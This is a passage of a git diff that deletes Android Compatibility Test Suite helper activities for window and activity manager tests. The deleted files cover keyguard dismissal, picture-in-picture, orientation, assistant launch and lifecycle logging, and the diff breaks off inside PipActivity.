- final ActivityOptions options = ActivityOptions.makeBasic();
- options.setLaunchBounds(new Rect(0, 0, 900, 900));
- this.startActivity(intent, options.toBundle());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java
deleted file mode 100644
index 860f2ae..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.KeyguardManager;
-import android.app.KeyguardManager.KeyguardDismissCallback;
-import android.content.Context;
-import android.util.Log;
-
-public class KeyguardDismissLoggerCallback extends KeyguardDismissCallback {
-
- private final String TAG = "KeyguardDismissLoggerCallback";
-
- private final Context mContext;
-
- public KeyguardDismissLoggerCallback(Context context) {
- mContext = context;
- }
-
- @Override
- public void onDismissError() {
- Log.i(TAG, "onDismissError");
- }
-
- @Override
- public void onDismissSucceeded() {
- if (mContext.getSystemService(KeyguardManager.class).isDeviceLocked()) {
- // Device is still locked? What a fail. Don't print "onDismissSucceded" such that the
- // log fails.
- Log.i(TAG, "dismiss succedded was called but device is still locked.");
- } else {
- Log.i(TAG, "onDismissSucceeded");
- }
- }
-
- @Override
- public void onDismissCancelled() {
- Log.i(TAG, "onDismissCancelled");
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java
deleted file mode 100644
index 352cf04..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.KeyguardManager;
-import android.os.Bundle;
-
-public class KeyguardLockActivity extends BroadcastReceiverActivity {
-
- private KeyguardManager.KeyguardLock mKeyguardLock;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- mKeyguardLock = getSystemService(KeyguardManager.class).newKeyguardLock("test");
- mKeyguardLock.disableKeyguard();
- }
-
- @Override
- protected void onDestroy() {
- mKeyguardLock.reenableKeyguard();
- super.onDestroy();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java
deleted file mode 100644
index ffd5aee..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.res.Configuration;
-
-public class LandscapeOrientationActivity extends AbstractLifecycleLogActivity {
- @Override
- protected String getTag() {
- return "LandscapeOrientationActivity";
- }
-
- @Override
- protected void onResume() {
- super.onResume();
- final Configuration config = getResources().getConfiguration();
- dumpDisplaySize(config);
- }
-
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- dumpDisplaySize(newConfig);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java
deleted file mode 100644
index 2d562ff..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class LaunchAssistantActivityFromSession extends Activity {
- @Override
- protected void onResume() {
- super.onResume();
- AssistantVoiceInteractionService.launchAssistantActivity(this, getIntent().getExtras());
- finishAndRemoveTask();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java
deleted file mode 100644
index 62839a4..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class LaunchAssistantActivityIntoAssistantStack extends Activity {
-
- // Launches the translucent assist activity
- public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
-
- @Override
- protected void onResume() {
- super.onResume();
-
- if (getIntent().hasExtra(EXTRA_IS_TRANSLUCENT) &&
- Boolean.valueOf(getIntent().getStringExtra(EXTRA_IS_TRANSLUCENT))) {
- TranslucentAssistantActivity.launchActivityIntoAssistantStack(this,
- getIntent().getExtras());
- } else {
- AssistantActivity.launchActivityIntoAssistantStack(this, getIntent().getExtras());
- }
- finishAndRemoveTask();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
deleted file mode 100644
index 6e713ec..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.server.cts.tools.ActivityLauncher;
-import android.util.Log;
-
-/** Broadcast receiver that can launch activities. */
-public class LaunchBroadcastReceiver extends BroadcastReceiver {
- private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
-
- @Override
- public void onReceive(Context context, Intent intent) {
- try {
- ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
- } catch (SecurityException e) {
- Log.e(TAG, "SecurityException launching activity");
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java
deleted file mode 100644
index e2b4786..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.graphics.Rect;
-import android.os.Bundle;
-
-public class LaunchEnterPipActivity extends Activity {
- @Override
- protected void onCreate(Bundle bundle) {
- super.onCreate(bundle);
- PipActivity.launchEnterPipActivity(this);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
deleted file mode 100644
index 86c4834..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class LaunchIntoPinnedStackPipActivity extends Activity {
- @Override
- protected void onResume() {
- super.onResume();
- AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, true /* newTask */);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
deleted file mode 100644
index d0b47b0..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.pm.PackageManager;
-
-public class LaunchPipOnPipActivity extends Activity {
- @Override
- public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
- super.onPictureInPictureModeChanged(isInPictureInPictureMode);
- AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
- getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java
deleted file mode 100644
index b312c97..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.server.cts.tools.ActivityLauncher;
-
-/**
- * Activity that launches another activities when new intent is received.
- */
-public class LaunchingActivity extends Activity {
- @Override
- protected void onNewIntent(Intent intent) {
- super.onNewIntent(intent);
- ActivityLauncher.launchActivityFromExtras(this, intent.getExtras());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java
deleted file mode 100644
index 66e0cf2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.content.res.Configuration;
-import android.util.AttributeSet;
-import android.util.Log;
-import android.view.View;
-
-public class LifecycleLogView extends View {
- private final String TAG = "LifecycleLogView";
-
- public LifecycleLogView(Context context) {
- super(context);
- }
-
- public LifecycleLogView(Context context, AttributeSet attrs) {
- this(context, attrs, 0);
- }
-
- public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr) {
- this(context, attrs, defStyleAttr, 0);
- }
-
- public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes)
- {
- super(context, attrs, defStyleAttr, defStyleRes);
- }
-
- @Override
- protected void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- Log.i(TAG, "onConfigurationChanged");
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java
deleted file mode 100644
index 61eb78c..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.res.Configuration;
-import android.util.Log;
-
-/**
- * Activity that logs configuration changes.
- */
-public class LogConfigurationActivity extends Activity {
-
- private static final String TAG = "LogConfigurationActivity";
-
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- Log.i(TAG, "Configuration changed: " + newConfig.screenWidthDp + ","
- + newConfig.screenHeightDp);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java
deleted file mode 100644
index 6c47fb7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-
-/**
- * Activity that finishes itself using "moveTaskToBack".
- */
-public class MoveTaskToBackActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = MoveTaskToBackActivity.class.getSimpleName();
-
- private String mFinishPoint;
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
-
- final Intent intent = getIntent();
- mFinishPoint = intent.getExtras().getString("finish_point");
- }
-
- @Override
- protected void onPause() {
- super.onPause();
-
- if (mFinishPoint.equals("on_pause")) {
- moveTaskToBack(true /* nonRoot */);
- }
- }
-
- @Override
- protected void onStop() {
- super.onStop();
-
- if (mFinishPoint.equals("on_stop")) {
- moveTaskToBack(true /* nonRoot */);
- }
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java
deleted file mode 100644
index e33141b..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.UiModeManager;
-import android.content.Context;
-import android.os.Bundle;
-
-/** Activity that changes UI mode on creation and handles corresponding configuration change. */
-public class NightModeActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = NightModeActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
-
- UiModeManager uiManager = (UiModeManager) getSystemService(Context.UI_MODE_SERVICE);
- // Switch the mode two times to make sure it is independent of the current setting.
- uiManager.setNightMode(UiModeManager.MODE_NIGHT_YES);
- uiManager.setNightMode(UiModeManager.MODE_NIGHT_NO);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java
deleted file mode 100644
index 6a84602..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * An activity that has the noHistory flag set.
- */
-public class NoHistoryActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = NoHistoryActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java
deleted file mode 100644
index 9cc3b9d..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-public class NoRelaunchActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = NoRelaunchActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java
deleted file mode 100644
index b871a8d..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-public class NonResizeableActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = NonResizeableActivity.class.getSimpleName();
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java
deleted file mode 100644
index f968970..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java
+++ /dev/null
@@ -1,338 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.app.PictureInPictureParams;
-import android.content.res.Configuration;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.SystemClock;
-import android.util.Log;
-import android.util.Rational;
-import android.view.WindowManager;
-
-public class PipActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = "PipActivity";
-
- // Intent action that this activity dynamically registers to enter picture-in-picture
- private static final String ACTION_ENTER_PIP = "android.server.cts.PipActivity.enter_pip";
- // Intent action that this activity dynamically registers to move itself to the back
- private static final String ACTION_MOVE_TO_BACK = "android.server.cts.PipActivity.move_to_back";
- // Intent action that this activity dynamically registers to expand itself.
- // If EXTRA_SET_ASPECT_RATIO_WITH_DELAY is set, it will also attempt to apply the aspect ratio
- // after a short delay.
- private static final String ACTION_EXPAND_PIP = "android.server.cts.PipActivity.expand_pip";
- // Intent action that this activity dynamically registers to set requested orientation.
- // Will apply the oriention to the value set in the EXTRA_FIXED_ORIENTATION extra.
- private static final String ACTION_SET_REQUESTED_ORIENTATION =
- "android.server.cts.PipActivity.set_requested_orientation";
- // Intent action that will finish this activity
- private static final String ACTION_FINISH = "android.server.cts.PipActivity.finish";
-
- // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
- private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
- // Calls enterPictureInPicture() on creation
- private static final String EXTRA_ENTER_PIP = "enter_pip";
- // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
- private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
- "enter_pip_aspect_ratio_numerator";
- // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
- private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
- "enter_pip_aspect_ratio_denominator";
- // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
- private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
- // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
- private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
- // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
- // fixed delay
- private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
- "set_aspect_ratio_with_delay_numerator";
- // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
- // fixed delay
- private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
- "set_aspect_ratio_with_delay_denominator";
- // Adds a click listener to finish this activity when it is clicked
- private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
- // Calls requestAutoEnterPictureInPicture() with the value provided
- private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
- // Starts the activity (component name) provided by the value at the end of onCreate
- private static final String EXTRA_START_ACTIVITY = "start_activity";
- // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
- private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
- // Calls enterPictureInPicture() again after onPictureInPictureModeChanged(false) is called
- private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
- // Shows this activity over the keyguard
- private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
- // Adds an assertion that we do not ever get onStop() before we enter picture in picture
- private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
- // The amount to delay to artificially introduce in onPause() (before EXTRA_ENTER_PIP_ON_PAUSE
- // is processed)
- private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
-
- private boolean mEnteredPictureInPicture;
-
- private Handler mHandler = new Handler();
- private BroadcastReceiver mReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent != null) {
- switch (intent.getAction()) {
- case ACTION_ENTER_PIP:
- enterPictureInPictureMode();
- break;
- case ACTION_MOVE_TO_BACK:
- moveTaskToBack(false /* nonRoot */);
- break;
- case ACTION_EXPAND_PIP:
- // Trigger the activity to expand
- Intent startIntent = new Intent(PipActivity.this, PipActivity.class);
- startIntent.setFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
- startActivity(startIntent);
-
- if (intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR)
- && intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR)) {
- // Ugly, but required to wait for the startActivity to actually start
- // the activity...
- mHandler.postDelayed(() -> {
- final PictureInPictureParams.Builder builder =
- new PictureInPictureParams.Builder();
- builder.setAspectRatio(getAspectRatio(intent,
- EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR,
- EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR));
- setPictureInPictureParams(builder.build());
- }, 100);
- }
- break;
- case ACTION_SET_REQUESTED_ORIENTATION:
- setRequestedOrientation(Integer.parseInt(intent.getStringExtra(
- EXTRA_FIXED_ORIENTATION)));
- break;
- case ACTION_FINISH:
- finish();
- break;
- }
- }
- }
- };
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
